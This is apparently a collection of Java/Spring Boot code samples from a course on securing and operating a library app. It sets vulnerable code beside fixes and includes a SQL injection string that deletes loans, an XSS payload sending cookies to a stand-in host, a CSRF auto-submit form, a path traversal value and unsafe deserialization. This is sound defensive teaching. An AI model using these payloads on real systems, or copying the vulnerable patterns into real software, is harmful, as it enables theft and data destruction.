-- The application user must NOT be able to drop tables
CREATE USER bibliotech_app WITH PASSWORD :'app_password';
GRANT CONNECT ON DATABASE bibliotech TO bibliotech_app;
GRANT USAGE ON SCHEMA public TO bibliotech_app;
GRANT SELECT, INSERT, UPDATE, DELETE ON ALL TABLES IN SCHEMA public TO bibliotech_app;
GRANT USAGE, SELECT ON ALL SEQUENCES IN SCHEMA public TO bibliotech_app;
-- No CREATE, no DROP, no ALTER: the schema is governed by Flyway with ANOTHER user

CREATE USER bibliotech_migrations WITH PASSWORD :'migrations_password';
GRANT ALL PRIVILEGES ON DATABASE bibliotech TO bibliotech_migrations;

// VULNERABLE. With text = "'; DELETE FROM loans; --" the query becomes two queries.
String jpql = "select m from Material m where m.title like '%" + text + "%'";
em.createQuery(jpql, Material.class).getResultList();

// SAFE: the parameter is NEVER interpreted as SQL. It is a value, not code.
em.createQuery("select m from Material m where lower(m.title) like lower(:text)", Material.class)
  .setParameter("text", "%" + text + "%")
  .getResultList();

// DANGER: sorting CANNOT be parameterised
@Query(value = "select * from materials order by " + "#{#sort}", nativeQuery = true)   // BAD

// SAFE: allow-list. Never user text in the structure of the query.
private static final Set<String> ALLOWED_SORTS = Set.of("title", "author", "publication_year");

public List<Material> sortedBy(String field) {
    if (!ALLOWED_SORTS.contains(field)) {
        throw new InvalidParameterException("Sort field not allowed: " + field);
    }
    return em.createQuery("select m from Material m order by m." + field, Material.class)
             .getResultList();
}

<!-- VULNERABLE: if the title is <script>fetch('http://evil/'+document.cookie)</script> -->
<td th:utext="${material.title}"></td>

<!-- SAFE: th:text ESCAPES the HTML. It is Thymeleaf's default. -->
<td th:text="${material.title}"></td>

<!-- On malicious-site.com -->
<form action="https://bibliotech.nexussoftware.com/api/materials/978-0000000001" method="POST">
  <input type="hidden" name="_method" value="DELETE">
</form>
<script>document.forms[0].submit();</script>

// VULNERABLE: any authenticated employee sees anybody else's loans
@GetMapping("/api/employees/{id}/loans")
public List<LoanResponse> loansOf(@PathVariable Long id) {
    return manager.loansOf(id).stream().map(LoanResponse::from).toList();
}

// SAFE: either it is you, or you are a librarian
@GetMapping("/api/employees/{id}/loans")
@PreAuthorize("#id == authentication.principal.id or hasRole('LIBRARIAN')")
public List<LoanResponse> loansOf(@PathVariable Long id) { … }

// EXTREMELY DANGEROUS: never with data you do not control.
ObjectInputStream ois = new ObjectInputStream(userInput);
Object object = ois.readObject();      // this can execute arbitrary code

// And in Jackson, the equivalent:
mapper.enableDefaultTyping();                          // NEVER with external data
mapper.activateDefaultTyping(validator, …);            // only with a strict allow-list

// (a) In the response: entity exposed together with the password hash
@GetMapping("/api/employees/{id}")
public Employee byId(@PathVariable Long id) { … }      // BAD: DTO, always (12-01)

// (b) In the log: personal data and credentials
log.info("Authenticating {} with password {}", email, password);       // BAD, and very common
log.debug("Request received: {}", request);                            // what is inside it?

// (c) In the error: a stack trace that reveals versions and internal structure
server.error.include-stacktrace: always                                 // BAD (12-04)

public class SensitiveDataMasker extends ClassicConverter {

    private static final List<Pattern> PATTERNS = List.of(
        Pattern.compile("(\"(?:password|passwd|token|apiKey|secret)\"\\s*:\\s*\")([^\"]+)(\")",
                        Pattern.CASE_INSENSITIVE),
        Pattern.compile("(Authorization:\\s*Bearer\\s+)(\\S+)", Pattern.CASE_INSENSITIVE),
        Pattern.compile("\\b(\\d{8})([A-Za-z])\\b")     // national ID number
    );

    @Override
    public String convert(ILoggingEvent event) {
        String message = event.getFormattedMessage();
        for (Pattern p : PATTERNS) {
            message = p.matcher(message).replaceAll("$1***$3");
        }
        return message;
    }
}

<plugin>
  <groupId>org.owasp</groupId>
  <artifactId>dependency-check-maven</artifactId>
  <version>10.0.4</version>
  <configuration>
    <failBuildOnCVSS>7</failBuildOnCVSS>      <!-- CVSS 7+ = high or critical -->
    <suppressionFiles>
      <suppressionFile>config/cve-suppressions.xml</suppressionFile>
    </suppressionFiles>
  </configuration>
  <executions>
    <execution><goals><goal>check</goal></goals></execution>
  </executions>
</plugin>

./mvnw org.owasp:dependency-check-maven:check
open target/dependency-check-report.html

# .github/dependabot.yml
version: 2
updates:
  - package-ecosystem: maven
    directory: "/"
    schedule: { interval: weekly, day: monday }
    open-pull-requests-limit: 10
    groups:
      spring:
        patterns: ["org.springframework*"]     # group them: less noise
      testing:
        patterns: ["*junit*", "*mockito*", "*assertj*", "*testcontainers*"]
    ignore:
      - dependency-name: "*"
        update-types: ["version-update:semver-major"]   # majors, by hand

<plugin>
  <groupId>org.cyclonedx</groupId>
  <artifactId>cyclonedx-maven-plugin</artifactId>
  <version>2.8.1</version>
  <executions>
    <execution>
      <phase>package</phase>
      <goals><goal>makeAggregateBom</goal></goals>
    </execution>
  </executions>
</plugin>

./mvnw package        # generates target/bom.json and target/bom.xml
grep -i "log4j" target/bom.json      # answer in one second

<dependency>
  <groupId>org.springframework.boot</groupId>
  <artifactId>spring-boot-starter-security</artifactId>
</dependency>

@Configuration
@EnableWebSecurity
@EnableMethodSecurity          // enables @PreAuthorize
public class SecurityConfiguration {

    private final JwtAuthenticationFilter jwtFilter;
    private final SecurityErrorHandler errorHandler;

    @Bean
    SecurityFilterChain filterChain(HttpSecurity http) throws Exception {
        return http
            // Stateless API: there is no server session, so there is no cookie-based CSRF
            .csrf(AbstractHttpConfigurer::disable)
            .sessionManagement(s -> s.sessionCreationPolicy(SessionCreationPolicy.STATELESS))

            .cors(cors -> cors.configurationSource(corsSource()))

            .authorizeHttpRequests(routes -> routes
                // --- Public ---
                .requestMatchers(HttpMethod.POST, "/api/auth/login", "/api/auth/refresh").permitAll()
                .requestMatchers("/actuator/health/**").permitAll()

                // --- Read-only catalogue access: any authenticated employee ---
                .requestMatchers(HttpMethod.GET, "/api/materials/**").hasAnyRole("EMPLOYEE", "LIBRARIAN", "ADMIN")

                // --- Catalogue management: librarians ---
                .requestMatchers(HttpMethod.POST,   "/api/materials/**").hasRole("LIBRARIAN")
                .requestMatchers(HttpMethod.PUT,    "/api/materials/**").hasRole("LIBRARIAN")
                .requestMatchers(HttpMethod.PATCH,  "/api/materials/**").hasRole("LIBRARIAN")
                .requestMatchers(HttpMethod.DELETE, "/api/materials/**").hasRole("LIBRARIAN")

                // --- Administration ---
                .requestMatchers("/api/employees/**").hasRole("ADMIN")
                .requestMatchers("/actuator/**").hasRole("ADMIN")

                // --- Documentation: outside production only (see the profile) ---
                .requestMatchers("/swagger-ui/**", "/v3/api-docs/**").hasRole("ADMIN")

                // --- Final rule: EVERYTHING else requires authentication ---
                // implicit denyAll by default: whatever is not declared does not get through
                .anyRequest().authenticated())

            .exceptionHandling(e -> e
                .authenticationEntryPoint(errorHandler)        // 401 in Problem Details format
                .accessDeniedHandler(errorHandler))            // 403 likewise

            // Our filter BEFORE the username-and-password one
            .addFilterBefore(jwtFilter, UsernamePasswordAuthenticationFilter.class)

            .headers(h -> h
                .frameOptions(FrameOptionsConfig::deny)
                .contentSecurityPolicy(csp -> csp.policyDirectives(
                    "default-src 'self'; script-src 'self'; object-src 'none'; frame-ancestors 'none'"))
                .httpStrictTransportSecurity(hsts -> hsts
                    .includeSubDomains(true)
                    .maxAgeInSeconds(31_536_000)))

            .build();
    }

    @Bean
    PasswordEncoder passwordEncoder() {
        // Strength 12: ~250 ms per verification on 2026 hardware.
        // Slow enough for an attacker, tolerable for a user.
        return new BCryptPasswordEncoder(12);
    }

    @Bean
    AuthenticationManager authenticationManager(AuthenticationConfiguration config) throws Exception {
        return config.getAuthenticationManager();
    }
}

@Service
public class AuthenticationService {

    private final EmployeeRepository employees;
    private final PasswordEncoder encoder;

    /** Registration: the password is encoded and the original is discarded immediately. */
    @Transactional
    public Employee register(String name, String email, char[] password) {
        validateStrength(password);
        try {
            String hash = encoder.encode(new String(password));
            return employees.save(Employee.of(name, email, hash));
        } finally {
            Arrays.fill(password, '\0');   // overwrite it in memory (12-03)
        }
    }

    public Optional<Employee> authenticate(String email, String password) {
        Optional<Employee> employee = employees.findByEmail(email);

        if (employee.isEmpty()) {
            // Compare against a dummy hash so that the response time is the same
            // whether or not the user exists. Without this, an attacker can
            // ENUMERATE users by measuring latency.
            encoder.matches(password, DUMMY_HASH);
            return Optional.empty();
        }
        if (!encoder.matches(password, employee.get().getPasswordHash())) {
            return Optional.empty();
        }
        return employee;
    }
}

$2a$12$N9qo8uLOickgx2ZMRZoMyeIjZAgcfl7p92ldGxad68LJZdL17lhWy
 │   │  └────────────────────┬──────────────────────────────┘
 │   │                       └─ salt (22) + hash (31), in base64
 │   └───────────────────────── cost: 2^12 = 4,096 iterations
 └───────────────────────────── algorithm version

private void validateStrength(char[] password) {
    // Length matters MORE than complexity: "correct horse battery staple"
    // is stronger than "P@ssw0rd" and far easier to remember.
    if (password.length < 12) {
        throw new WeakPasswordException("Minimum 12 characters");
    }
    if (password.length > 128) {
        throw new WeakPasswordException("Maximum 128 characters");   // avoid DoS through BCrypt
    }
    if (isCommon(new String(password))) {
        throw new WeakPasswordException("This password appears in known breaches");
    }
}

@Service
public class LoanManager implements ManageLoans {

    @Override
    @Transactional
    @PreAuthorize("hasRole('EMPLOYEE')")
    public Loan lend(Isbn isbn, Long employeeId, Integer days) { … }

    /** Either it is your own loan, or you are a librarian. */
    @Override
    @Transactional
    @PreAuthorize("@ownership.isOwnLoan(#loanId) or hasRole('LIBRARIAN')")
    public ReturnResult returnItem(Long loanId, LocalDate date) { … }

    /** Waiving a fine is a decision with a financial impact. */
    @Override
    @Transactional
    @PreAuthorize("hasRole('LIBRARIAN')")
    @Audited(action = "WAIVE_FINE")
    public void waiveFine(Long loanId, String reason) { … }

    /** Filter the result: everybody sees their own. */
    @Override
    @PostFilter("filterObject.employeeId == authentication.principal.id or hasRole('LIBRARIAN')")
    public List<Loan> allActive() { … }
}

@Component("ownership")
public class OwnershipChecker {

    private final LoanRepository loans;

    public boolean isOwnLoan(Long loanId) {
        Long userId = currentUser().getId();
        return loans.findById(loanId)
                .map(l -> l.getEmployeeId().equals(userId))
                .orElse(false);
    }

    private BiblioTechUser currentUser() {
        Authentication auth = SecurityContextHolder.getContext().getAuthentication();
        if (auth == null || !(auth.getPrincipal() instanceof BiblioTechUser user)) {
            throw new AccessDeniedException("No authenticated user");
        }
        return user;
    }
}

@Aspect
@Component
public class AuditAspect {

    private static final Logger audit = LoggerFactory.getLogger("AUDIT");

    @AfterReturning("@annotation(audited)")
    public void record(JoinPoint point, Audited audited) {
        Authentication auth = SecurityContextHolder.getContext().getAuthentication();
        audit.info("action={} user={} arguments={} traceId={}",
                audited.action(),
                auth != null ? auth.getName() : "anonymous",
                Arrays.toString(point.getArgs()),
                MDC.get("traceId"));
    }
}

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxIiwibmFtZSI6Ik1hcnRhIFJ1aXoifQ.4pcPyMD09olPSyXn
└───────── header ─────────┘ └────────── payload ──────────┘ └── signature ──┘

// Header                            // Payload
{ "alg": "HS256", "typ": "JWT" }     { "sub": "1",
                                       "email": "[email protected]",
                                       "roles": ["EMPLOYEE", "LIBRARIAN"],
                                       "iat": 1785000000,
                                       "exp": 1785003600 }

@Service
public class JwtService {

    private final SecretKey key;
    private final Duration accessTtl;
    private final Duration refreshTtl;
    private final Clock clock;                    // 10-05: injectable, so it can be tested

    public JwtService(JwtProperties props, Clock clock) {
        // The key comes from an environment variable and must be at least 256 bits.
        // If it is short or sits in the code, the signature can be forged.
        byte[] bytes = Decoders.BASE64.decode(props.secret());
        if (bytes.length < 32) {
            throw new IllegalStateException("The JWT key must be at least 256 bits");
        }
        this.key = Keys.hmacShaKeyFor(bytes);
        this.accessTtl = props.accessTtl();
        this.refreshTtl = props.refreshTtl();
        this.clock = clock;
    }

    public String generateAccess(BiblioTechUser user) {
        Instant now = Instant.now(clock);
        return Jwts.builder()
                .subject(String.valueOf(user.getId()))
                .claim("email", user.getUsername())
                .claim("roles", user.getAuthorities().stream()
                        .map(GrantedAuthority::getAuthority).toList())
                .issuer("bibliotech.nexussoftware.com")
                .issuedAt(Date.from(now))
                .expiration(Date.from(now.plus(accessTtl)))
                .id(UUID.randomUUID().toString())      // jti: lets us revoke this specific token
                .signWith(key, Jwts.SIG.HS256)
                .compact();
    }

    public Claims validate(String token) {
        try {
            return Jwts.parser()
                    .verifyWith(key)
                    .requireIssuer("bibliotech.nexussoftware.com")
                    .clockSkewSeconds(30)              // clock tolerance between servers
                    .build()
                    .parseSignedClaims(token)
                    .getPayload();
        } catch (ExpiredJwtException e) {
            throw new ExpiredTokenException(e);         // the client must refresh
        } catch (JwtException | IllegalArgumentException e) {
            throw new InvalidTokenException(e);         // wrong signature or tampered token
        }
    }
}

@Component
public class JwtAuthenticationFilter extends OncePerRequestFilter {

    private final JwtService jwt;
    private final RevokedTokenRegistry revoked;

    @Override
    protected void doFilterInternal(HttpServletRequest request, HttpServletResponse response,
                                    FilterChain chain) throws ServletException, IOException {
        try {
            extractToken(request).ifPresent(token -> {
                Claims claims = jwt.validate(token);

                if (revoked.isRevoked(claims.getId())) {
                    throw new RevokedTokenException();
                }

                var authorities = ((List<?>) claims.get("roles")).stream()
                        .map(String::valueOf)
                        .map(SimpleGrantedAuthority::new)
                        .toList();

                var authentication = new UsernamePasswordAuthenticationToken(
                        new BiblioTechUser(Long.valueOf(claims.getSubject()),
                                           claims.get("email", String.class), authorities),
                        null, authorities);

                SecurityContextHolder.getContext().setAuthentication(authentication);

                // Correlation: the user identifier in the MDC from 11-07
                MDC.put("userId", claims.getSubject());
            });

            chain.doFilter(request, response);

        } catch (ExpiredTokenException | InvalidTokenException | RevokedTokenException e) {
            SecurityContextHolder.clearContext();
            writeProblem(response, HttpStatus.UNAUTHORIZED, e.getMessage());
        } finally {
            MDC.remove("userId");        // rule from 11-07: ALWAYS clean up in a thread pool
        }
    }

    private Optional<String> extractToken(HttpServletRequest request) {
        String header = request.getHeader(HttpHeaders.AUTHORIZATION);
        return (header != null && header.startsWith("Bearer "))
                ? Optional.of(header.substring(7))
                : Optional.empty();
    }
}

@Entity
public class RefreshToken {
    @Id private String id;                    // jti
    private Long employeeId;
    private String tokenHash;                 // the token is stored hashed too
    private Instant expiresAt;
    private Instant revokedAt;
    private String device;                    // so we can show "active sessions"
}

server:
  ssl:
    enabled: true
    key-store: ${TLS_KEYSTORE_PATH}
    key-store-password: ${TLS_KEYSTORE_PASSWORD}
    key-store-type: PKCS12
    protocol: TLS
    enabled-protocols: TLSv1.3,TLSv1.2        # TLS 1.0 and 1.1 are obsolete

server:
  forward-headers-strategy: framework     # honours X-Forwarded-Proto and X-Forwarded-For

spring:
  servlet:
    multipart:
      max-file-size: 10MB
      max-request-size: 12MB
server:
  tomcat:
    max-http-form-post-size: 2MB
    max-swallow-size: 2MB
    connection-timeout: 20s
    threads:
      max: 200

@Component
public class RateLimitFilter extends OncePerRequestFilter {

    private final Cache<String, Bucket> buckets = Caffeine.newBuilder()
            .expireAfterAccess(Duration.ofMinutes(10))
            .maximumSize(100_000)
            .build();

    @Override
    protected void doFilterInternal(HttpServletRequest q, HttpServletResponse r, FilterChain c)
            throws ServletException, IOException {

        String key = keyFor(q);         // authenticated user, or IP if anonymous
        Bucket bucket = buckets.get(key, k -> newBucket(q));

        ConsumptionProbe probe = bucket.tryConsumeAndReturnRemaining(1);
        if (probe.isConsumed()) {
            r.setHeader("X-RateLimit-Remaining", String.valueOf(probe.getRemainingTokens()));
            c.doFilter(q, r);
        } else {
            long waitSeconds = probe.getNanosToWaitForRefill() / 1_000_000_000;
            r.setStatus(HttpStatus.TOO_MANY_REQUESTS.value());        // 429
            r.setHeader(HttpHeaders.RETRY_AFTER, String.valueOf(waitSeconds));
            writeProblem(r, "Too many requests. Try again in " + waitSeconds + " s.");
        }
    }

    private Bucket newBucket(HttpServletRequest q) {
        // Login is limited MUCH more tightly: it is the door to brute-force attacks
        boolean isLogin = q.getRequestURI().startsWith("/api/auth/login");
        int perMinute = isLogin ? 5 : 100;
        return Bucket.builder()
                .addLimit(l -> l.capacity(perMinute).refillGreedy(perMinute, Duration.ofMinutes(1)))
                .build();
    }
}

// VULNERABLE: name = "../../../etc/passwd"
@GetMapping("/api/reports/{name}")
public Resource download(@PathVariable String name) throws IOException {
    return new FileSystemResource(Path.of("/var/bibliotech/reports/", name));
}

// SAFE: normalise and verify that it is still inside the permitted directory
private static final Path BASE = Path.of("/var/bibliotech/reports").toAbsolutePath().normalize();

@GetMapping("/api/reports/{name}")
public Resource download(@PathVariable @Pattern(regexp = "[a-zA-Z0-9._-]{1,64}") String name)
        throws IOException {

    Path requested = BASE.resolve(name).normalize();

    // The DECISIVE check: after normalising, is it still inside BASE?
    if (!requested.startsWith(BASE)) {
        throw new AccessDeniedException("Path not allowed");
    }
    if (!Files.isRegularFile(requested)) {
        throw new ResourceNotFoundException(name);
    }
    return new FileSystemResource(requested);
}

// SAFE: disable external entities before parsing any XML
DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
factory.setFeature("http://xml.org/sax/features/external-general-entities", false);
factory.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
factory.setXIncludeAware(false);
factory.setExpandEntityReferences(false);

<dependency>
  <groupId>org.springframework.boot</groupId>
  <artifactId>spring-boot-starter-actuator</artifactId>
</dependency>
<dependency>
  <groupId>io.micrometer</groupId>
  <artifactId>micrometer-registry-prometheus</artifactId>
  <scope>runtime</scope>
</dependency>

management:
  endpoints:
    web:
      exposure:
        include: health,info,metrics,prometheus,loggers
  endpoint:
    health:
      probes: { enabled: true }
      show-details: when-authorized
  metrics:
    tags:
      application: bibliotech          # tag common to ALL metrics
      environment: ${SPRING_PROFILES_ACTIVE:unknown}
  observations:
    key-values:
      version: ${bibliotech.version}
  prometheus:
    metrics:
      export:
        enabled: true

@Service
public class BiblioTechMetrics {

    private final Counter loansCreated;
    private final Counter loansRejected;
    private final Counter finesIssued;
    private final Timer fineCalculationTime;
    private final DistributionSummary fineAmounts;

    public BiblioTechMetrics(MeterRegistry registry, MaterialRepository materials) {

        this.loansCreated = Counter.builder("bibliotech.loans.created")
                .description("Loans created successfully")
                .baseUnit("loans")
                .register(registry);

        this.loansRejected = Counter.builder("bibliotech.loans.rejected")
                .description("Rejected loan attempts")
                .register(registry);

        this.finesIssued = Counter.builder("bibliotech.fines.issued")
                .register(registry);

        this.fineCalculationTime = Timer.builder("bibliotech.fines.calculation")
                .publishPercentiles(0.5, 0.95, 0.99)
                .register(registry);

        this.fineAmounts = DistributionSummary.builder("bibliotech.fines.amount")
                .baseUnit("euros")
                .publishPercentiles(0.5, 0.95)
                .register(registry);

        // Gauge: it is read when the metric is collected.
        // CAREFUL: the function must be CHEAP. Here a cached query, not a count() against the DB.
        Gauge.builder("bibliotech.materials.available", materials::countAvailableCached)
                .description("Materials with at least one free copy")
                .register(registry);
    }

    /** With a reason tag: it lets us see WHY they are rejected. */
    public void loanRejected(String reason) {
        loansRejected.increment();
        Counter.builder("bibliotech.loans.rejected.by.reason")
                .tag("reason", reason)      // limit_exceeded, no_copies, unpaid_fines
                .register(registry)
                .increment();
    }
}

@Service
public class LoanManager {

    @Timed(value = "bibliotech.loans.duration", percentiles = {0.5, 0.95, 0.99})
    @Transactional
    public Loan lend(Isbn isbn, Long employeeId, Integer days) {
        try {
            Loan loan = createLoan(isbn, employeeId, days);
            metrics.loanCreated(loan.getMaterial().type());
            return loan;
        } catch (LoanLimitExceededException e) {
            metrics.loanRejected("limit_exceeded");
            throw e;
        } catch (MaterialNotAvailableException e) {
            metrics.loanRejected("no_copies");
            throw e;
        }
    }
}

$ curl -s localhost:8080/actuator/prometheus | grep bibliotech_loans
# HELP bibliotech_loans_created_total Loans created successfully
# TYPE bibliotech_loans_created_total counter
bibliotech_loans_created_total{application="bibliotech",environment="prod",type="BOOK"} 1247.0
bibliotech_loans_created_total{application="bibliotech",environment="prod",type="DVD"} 89.0

# prometheus.yml
global:
  scrape_interval: 15s

scrape_configs:
  - job_name: bibliotech
    metrics_path: /actuator/prometheus
    static_configs:
      - targets: ['bibliotech:8080']

rule_files:
  - alerts.yml

# Requests per second, by endpoint
sum(rate(http_server_requests_seconds_count[5m])) by (uri)

# 95th percentile latency
histogram_quantile(0.95, sum(rate(http_server_requests_seconds_bucket[5m])) by (le, uri))

# Error rate (5xx over the total)
sum(rate(http_server_requests_seconds_count{status=~"5.."}[5m]))
/ sum(rate(http_server_requests_seconds_count[5m]))

# Connection pool usage
hikaricp_connections_active / hikaricp_connections_max

# Loans per hour
sum(rate(bibliotech_loans_created_total[1h])) * 3600

# Heap memory in use, as a percentage
sum(jvm_memory_used_bytes{area="heap"}) / sum(jvm_memory_max_bytes{area="heap"})

  prometheus:
    image: prom/prometheus:latest
    volumes:
      - ./observability/prometheus.yml:/etc/prometheus/prometheus.yml:ro
      - ./observability/alerts.yml:/etc/prometheus/alerts.yml:ro
    ports: ["9090:9090"]

  grafana:
    image: grafana/grafana:latest
    environment:
      GF_SECURITY_ADMIN_PASSWORD: ${GRAFANA_PASSWORD:-admin}
    volumes:
      - ./observability/grafana:/etc/grafana/provisioning:ro
    ports: ["3000:3000"]
    depends_on: [prometheus]

<dependency>
  <groupId>io.micrometer</groupId>
  <artifactId>micrometer-tracing-bridge-otel</artifactId>
</dependency>
<dependency>
  <groupId>io.opentelemetry</groupId>
  <artifactId>opentelemetry-exporter-otlp</artifactId>
</dependency>

management:
  tracing:
    sampling:
      probability: 0.1        # 10% of requests: low cost, big enough sample
  otlp:
    tracing:
      endpoint: http://tempo:4318/v1/traces

logging:
  pattern:
    # traceId and spanId on EVERY log line: that is what joins a trace to its logs
    level: "%5p [${spring.application.name},%X{traceId:-},%X{spanId:-}]"

Trace a3f7e91c4b2d8f6a  ─── total: 187 ms
├── http POST /api/loans                                   187 ms
│   ├── LoanManager.lend                                   184 ms
│   │   ├── select materials where isbn = ?                  4 ms
│   │   ├── select count(*) from loans where …               3 ms
│   │   ├── MetadataGateway.search (external HTTP)         142 ms  ← THE CULPRIT
│   │   ├── insert into loans                                6 ms
│   │   └── NoticeSender.send                               27 ms
│   └── JSON serialisation                                   2 ms

@Service
public class CatalogEnricher {

    private final ObservationRegistry registry;

    public void enrich(List<Material> materials) {
        Observation.createNotStarted("bibliotech.enrich", registry)
                .lowCardinalityKeyValue("source", "metadata-api")
                .highCardinalityKeyValue("count", String.valueOf(materials.size()))
                .observe(() -> {
                    materials.forEach(this::enrichOne);
                });
    }
}

<!-- logback-spring.xml, picking up 11-07 -->
<configuration>

  <springProfile name="dev">
    <appender name="CONSOLE" class="ch.qos.logback.core.ConsoleAppender">
      <encoder>
        <pattern>%d{HH:mm:ss.SSS} %highlight(%-5level) [%X{traceId:-}] %cyan(%logger{25}) - %msg%n</pattern>
      </encoder>
    </appender>
    <root level="INFO"><appender-ref ref="CONSOLE"/></root>
  </springProfile>

  <springProfile name="prod">
    <appender name="JSON" class="ch.qos.logback.core.ConsoleAppender">
      <encoder class="net.logstash.logback.encoder.LogstashEncoder">
        <includeMdcKeyName>traceId</includeMdcKeyName>
        <includeMdcKeyName>spanId</includeMdcKeyName>
        <includeMdcKeyName>userId</includeMdcKeyName>
        <customFields>{"application":"bibliotech","environment":"prod"}</customFields>
        <fieldNames>
          <timestamp>timestamp</timestamp>
          <message>message</message>
        </fieldNames>
      </encoder>
    </appender>

    <!-- Asynchronous: logging must NOT slow requests down -->
    <appender name="ASYNC" class="ch.qos.logback.classic.AsyncAppender">
      <appender-ref ref="JSON"/>
      <queueSize>2048</queueSize>
      <discardingThreshold>0</discardingThreshold>   <!-- never discard WARN or ERROR -->
      <neverBlock>true</neverBlock>                  <!-- under saturation, discard rather than block -->
    </appender>

    <root level="INFO"><appender-ref ref="ASYNC"/></root>
    <logger name="AUDIT" level="INFO" additivity="false">
      <appender-ref ref="ASYNC"/>
    </logger>
  </springProfile>
</configuration>

{
  "timestamp": "2026-08-05T10:23:45.123Z",
  "level": "INFO",
  "logger_name": "com.nexussoftware.bibliotech.application.LoanManager",
  "message": "Loan created id=42 isbn=978-0000000001",
  "traceId": "a3f7e91c4b2d8f6a",
  "spanId": "8f6a2b1c",
  "userId": "1",
  "application": "bibliotech",
  "environment": "prod"
}

# alerts.yml
groups:
  - name: bibliotech
    rules:

      # ✅ GOOD: direct user impact, requires action
      - alert: HighErrorRate
        expr: |
          sum(rate(http_server_requests_seconds_count{status=~"5..",application="bibliotech"}[5m]))
          / sum(rate(http_server_requests_seconds_count{application="bibliotech"}[5m])) > 0.01
        for: 5m
        labels: { severity: critical }
        annotations:
          summary: "More than 1% of requests are failing with 5xx"
          description: "Current rate: {{ $value | humanizePercentage }}"
          action: "Check the logs with severity=ERROR and the traces from the latest deployment"
          runbook: "https://wiki.nexussoftware.com/bibliotech/runbook#5xx-errors"

      # ✅ GOOD: predicts a failure before it happens
      - alert: ConnectionPoolRunningOut
        expr: hikaricp_connections_pending{application="bibliotech"} > 5
        for: 3m
        labels: { severity: high }
        annotations:
          summary: "{{ $value }} threads waiting for a database connection"
          action: "Look for slow queries; consider raising maximum-pool-size"

      # ✅ GOOD: detects a SILENT failure
      - alert: NoLoansDuringBusinessHours
        expr: |
          sum(rate(bibliotech_loans_created_total[30m])) == 0
          and on() (hour() >= 8 < 18) and on() (day_of_week() > 0 < 6)
        for: 30m
        labels: { severity: medium }
        annotations:
          summary: "Not a single loan in 30 minutes during business hours"
          description: "The system responds, but there may be a functional failure"

      # ❌ BAD: implies no impact and fires constantly
      # - alert: HighCpuUsage
      #   expr: system_cpu_usage > 0.8
      #   A 30-second CPU spike does not require anybody to get out of bed.

      # ❌ BAD: informational, not actionable
      # - alert: DeploymentCompleted
      #   That belongs in a notifications channel, not in an alert.

{
  "title": "BiblioTech — Health",
  "panels": [
    {
      "title": "Error rate (5xx)",
      "targets": [{ "expr": "sum(rate(http_server_requests_seconds_count{status=~\"5..\"}[5m])) / sum(rate(http_server_requests_seconds_count[5m]))" }],
      "thresholds": [{ "value": 0.01, "color": "red" }]
    },
    {
      "title": "p95 latency by endpoint",
      "targets": [{ "expr": "histogram_quantile(0.95, sum(rate(http_server_requests_seconds_bucket[5m])) by (le, uri))" }]
    },
    {
      "title": "Loans per hour",
      "targets": [{ "expr": "sum(rate(bibliotech_loans_created_total[1h])) * 3600" }]
    },
    {
      "title": "Rejections by reason",
      "targets": [{ "expr": "sum(rate(bibliotech_loans_rejected_by_reason_total[15m])) by (reason)" }]
    }
  ]
}

@GetMapping("/api/v1/materials/{isbn}")
@Deprecated(since = "1.5.0", forRemoval = true)
@Operation(deprecated = true,
           summary = "[DEPRECATED] Use /api/v2/materials/{isbn}",
           description = "Will be removed on 2027-01-01. Changes in v2: the 'available' field "
                       + "(boolean) is replaced by 'availableCopies' (integer).")
public ResponseEntity<MaterialResponseV1> byIsbnV1(@PathVariable Isbn isbn) {
    return ResponseEntity.ok()
            .header("Deprecation", "true")                                    // RFC 8594
            .header("Sunset", "Fri, 01 Jan 2027 00:00:00 GMT")
            .header("Link", "</api/v2/materials/" + isbn + ">; rel=\"successor-version\"")
            .body(MaterialResponseV1.from(catalog.byIsbn(isbn).orElseThrow()));
}

@Component
public class ApiVersionMetrics {
    @EventListener
    public void onV1Used(V1RequestEvent event) {
        Counter.builder("bibliotech.api.v1.usage")
                .tag("client", event.clientId())                   // low cardinality
                .register(registry)
                .increment();
    }
}

./mvnw versions:display-dependency-updates       # which dependencies have a new version
./mvnw versions:display-plugin-updates
./mvnw versions:display-property-updates

./mvnw org.openrewrite.maven:rewrite-maven-plugin:run \
  -Drewrite.activeRecipes=org.openrewrite.java.spring.boot3.UpgradeSpringBoot_3_3

# Runbook: HighErrorRate

## What it means
More than 1% of requests return 5xx for 5 minutes.

## Impact
Users are getting errors. High priority.

## Diagnosis
1. Was there a deployment in the last hour?
   `kubectl rollout history deployment/bibliotech -n production`
   → If so, **that is the first hypothesis**: `kubectl rollout undo`
2. Which endpoint is failing?
   Grafana → BiblioTech Health → "Errors by endpoint"
3. Which exception?
   `{application="bibliotech"} | json | level="ERROR"` in Loki, last 15 min
4. Is the database responding?
   `curl -s $BASE/actuator/health | jq .components.db`
5. Is the pool saturated?
   Grafana → Resources → "Pending connections"

## Frequent causes
| Symptom | Cause | Fix |
|---|---|---|
| Errors after a deployment | Regression | `kubectl rollout undo` |
| `CannotGetJdbcConnection` | DB down or pool exhausted | Check the DB; look for slow queries |
| `SocketTimeoutException` to metadata | External API down | Switch on degraded mode |
| OOMKilled pods | Not enough memory | Raise the limit; look for leaks (10-07) |

## Escalation
Unresolved after 30 min → page the on-call lead.

// The domain takes the branch on board as a first-class concept
public record Branch(Long id, String name, String city, ZoneId timeZone) { }

public class Copy {                        // NEW: separate Material from its physical copies
    private Material material;             // the "what" (shared)
    private Branch branch;                 // the "where"
    private String internalCode;
    private CopyStatus status;
}

@Component
class RetryingEmailNotifier implements NoticeSender {

    @Async
    @Retryable(retryFor = MailException.class, maxAttempts = 3,
               backoff = @Backoff(delay = 2000, multiplier = 3))
    public void send(Notice notice) { … }

    @Recover
    void onRetriesExhausted(MailException e, Notice notice) {
        // Onto a failure queue, for manual retry. NEVER lose the notice silently.
        failedNoticeRepository.save(FailedNotice.of(notice, e));
    }
}

@Component
class ExternalEventPublisher {

    @TransactionalEventListener(phase = TransactionPhase.AFTER_COMMIT)
    public void publish(MaterialReturned event) {
        // "Outbox" pattern: store the event in the SAME transaction as the change,
        // and publish it afterwards from a separate process.
        // Without this, a failure after the commit loses the event.
        outboxRepository.save(OutboxEvent.of(event));
    }
}

@RestController
@RequestMapping("/api/employees")
public class EmployeeController {

    @GetMapping("/{id}")
    public Employee byId(@PathVariable Long id) {
        return repository.findById(id).orElseThrow();
    }

